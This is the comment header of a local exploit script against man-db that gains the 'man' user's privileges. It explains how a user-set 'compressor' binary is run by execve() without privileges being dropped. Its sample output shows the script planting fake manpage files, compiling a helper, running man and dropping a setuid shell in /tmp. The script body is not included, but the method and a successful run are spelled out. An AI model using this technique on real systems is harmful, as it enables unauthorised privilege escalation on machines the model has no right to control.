# man-db[v2.4.1-]: local uid=man exploit.

# open_cat_stream() privileged call exploit.

|
|
# i've been conversing with the new man-db maintainer, and after the
|
|
# initial post sent to bugtraq(which i forgot to inform him), i sent him
|
|
# an email highlighting another vulnerability i forgot to mention in the
|
|
# original advisory.
|
|
#
|
|
# once he checked it out, he noticed that the routine never dropped
|
|
# privileges before/after the potential buffer/elemental overflow occured,
|
|
# and executed the (user defined) "compressor" binary. making it
|
|
# pointless to exploit this via the overflow method, and all-purpose to
|
|
# exploit this via the privileged execve() call method.
|
|
#
|
|
# best of luck to the new maintainer(Colin Watson<cjwatson debian org>),
|
|
# he noticed it before i did, so he's on the right track. :)
|
|
#
|
|
# example:
|
|
# [v9@localhost v9]$ id
|
|
# uid=500(v9) gid=500(v9) groups=500(v9)
|
|
# [v9@localhost v9]$ ./xmandb.sh
|
|
# [*] making fake manpage directories/files...
|
|
# [*] making runme, and mansh source files...
|
|
# [*] compiling runme source...
|
|
# [*] setting "compressor" to: /tmp/runme...
|
|
# [*] executing man-db/man...
|
|
# [*] cleaning up files...
|
|
# [*] success, entering shell.

# -rws--x--- 1 man v9 13963 Jun 13 20:09 /tmp/mansh
